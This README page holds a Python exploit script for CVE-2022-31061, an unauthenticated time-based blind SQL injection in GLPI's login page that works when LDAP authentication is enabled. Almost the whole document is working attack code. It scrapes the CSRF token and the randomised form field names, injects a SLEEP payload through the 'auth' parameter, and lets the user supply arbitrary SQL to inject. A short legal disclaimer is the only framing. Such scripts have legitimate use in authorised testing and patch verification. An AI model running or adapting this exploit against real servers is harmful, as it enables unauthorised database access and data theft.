README.md
Rendering markdown...
#!/bin/python
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# Legal disclaimer :
# use of this script for attacking à target without mutual consent is illegal.
# It's is the end user responsibility to obey all applicables laws for his location
# Developers assume no lisibility and are not responsible for any misuse or domage caused by this program
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# Exploit Title: GLPI >= 9.3.0 and < 10.0.2 - Unauthenticated SQL injection on login page
# Date: 2022-08-07
# Exploit Author: Vu0r1
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/glpi-project/glpi/releases/download/10.0.1/glpi-10.0.1.tgz
# Version: GLPI >= 9.3.0; < 9.5.8; <10.0.2
# Tested on: DEBIAN 11
# CVE : CVE-2022-31061
# Reference : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq
# Reference : https://nvd.nist.gov/vuln/detail/CVE-2022-31061
# Reference :
# NEED : ldap activated
from datetime import datetime
from urllib import response
import requests
from lxml.html import fromstring
import sys
from optparse import OptionParser, Values
import random
import string
def main():
print("# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
print("# Legal disclaimer : ")
print("# use of this script for attacking à target without mutual consent is illegal.")
print("# It's is the end user responsibility to obey all applicables laws for his location")
print("# Developers assume no lisibility and are not responsible for any misuse or domage caused by this program")
print("# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
usage = "usage: %prog -t https://example.com [-v] [-c cmd]"
parser = OptionParser(usage)
parser.add_option("-t", "--target", dest="target",
help="GLPI Website to audit")
parser.add_option("-v", "--verbose", action="store_true", dest="verbose",
help="Display verbose output")
parser.add_option("-c", "--cmd", dest="cmd",
help="payload to inject. Time based Bind Injection. Context : ' SELECT `id` FROM `glpi_users` WHERE `name` = 'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1' [payload] # '")
parser.add_option("-u", "--user-agent", dest="userAgent",
help="user-agent to use", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0")
parser.add_option("-p", "--proxy", dest="proxy",
help="proxy to use")
(options, args) = parser.parse_args()
if(not options.target):
sys.exit("the target is mandatory")
if(options.cmd):
response = makeResquest(options, options.cmd)
print("Status", response.status_code)
print("Content", response.elapsed.total_seconds(), "sec")
else:
sleep = 5
response = makeResquest(options, "UNION SELECT SLEEP(" + str(sleep) + ")")
duration = response.elapsed.total_seconds()
if(duration >= sleep):
print("SUCCESS : target is vulnerable")
else:
print("FAIL : target is not vulnerable")
def getProxy(options: Values):
if(options.proxy):
return {"http": options.proxy, "https": options.proxy}
return None
def extractFromReceip(htmlContent: any, xpath: str, paramLabel: str, verbose: bool) -> str:
matches = htmlContent.xpath(xpath)
if(len(matches) != 1):
sys.exit(paramLabel + " not found")
value = matches[0]
if(verbose):
print("[VERBOSE] ", paramLabel," : ", value)
return value
def makeResquest(options: Values, payload: str) -> requests.Response:
target = options.target.strip('/')
index = target + '/index.php'
proxy = getProxy(options)
try:
headers = {
"User-Agent" : options.userAgent,
}
response = requests.get(index, headers=headers, proxies=proxy)
except Exception as e:
print("Error : ", e, "on try to access to", index)
exit()
if(options.verbose):
print("[VERBOSE] Status Code : ", response.status_code)
if(response.status_code != 200):
print("Error : ", index, " status ", response.status_code)
exit()
htmlContent = fromstring(response.content)
authValues = htmlContent.xpath('.//select[@name="auth"]/option/@value')
if(options.verbose):
print("Auth values : ", authValues)
authVal = ""
for val in authValues:
if("ldap" in val):
authVal = val
break
if(not authVal):
print("ldap must be enabled")
exit()
#<input type="hidden" name="_glpi_csrf_token" value="f729a9aded54dbeae61d3d75ba817cb66f3da30f85ef32663111d0b1529aa35e" />
csrfToken = extractFromReceip(htmlContent, '//input[@name="_glpi_csrf_token"]/@value', "CSRF", options.verbose)
# <input type="text" class="form-control" id="login_name" name="fielda62efb2fcc0118" placeholder="" tabindex="1" />
loginField = extractFromReceip(htmlContent, '//input[@id="login_name"]/@name', "LoginField", options.verbose)
#<input type="password" class="form-control" name="fieldb62efb2fcc011b" placeholder="" autocomplete="off" tabindex="2" />
passField = extractFromReceip(htmlContent, '//input[@type="password"]/@name', "PassField", options.verbose)
#<input type="checkbox" class="form-check-input" name="fieldc62efb2fcc011c" checked />
rememberMeField = extractFromReceip(htmlContent, '//input[@type="checkbox"]/@name', "RememberMeField", options.verbose)
# SELECT `id` FROM `glpi_users` WHERE `name` = 'User' AND `authtype` = '3' AND `auths_id` = '1' UNION SELECT SLEEP(5) # '
auth = authVal + "' " + payload + " # "
# fielda62efa09238519=test&fieldb62efa0923851b=test&auth=ldap-1&fieldc62efa0923851c=on&submit=
params = {
"noAuto" : 0,
"redirect" : "",
"_glpi_csrf_token" : csrfToken,
loginField : ''.join(random.choices(string.ascii_uppercase + string.digits, k=8)),
passField : ''.join(random.choices(string.ascii_uppercase + string.digits, k=16)),
"auth" : auth,
rememberMeField : "on",
"submit": ""
}
headers = {
"User-Agent" : options.userAgent,
"Referer" : index
}
login = options.target + '/front/login.php'
print("[", datetime.now(), "] Begin send request for ", payload)
injResponse = requests.post(login, params, cookies=response.cookies,headers=headers, proxies=proxy)
print("[", datetime.now(), "] End send request for ", payload, " Duration : ", injResponse.elapsed.total_seconds())
return injResponse
if __name__ == "__main__":
main()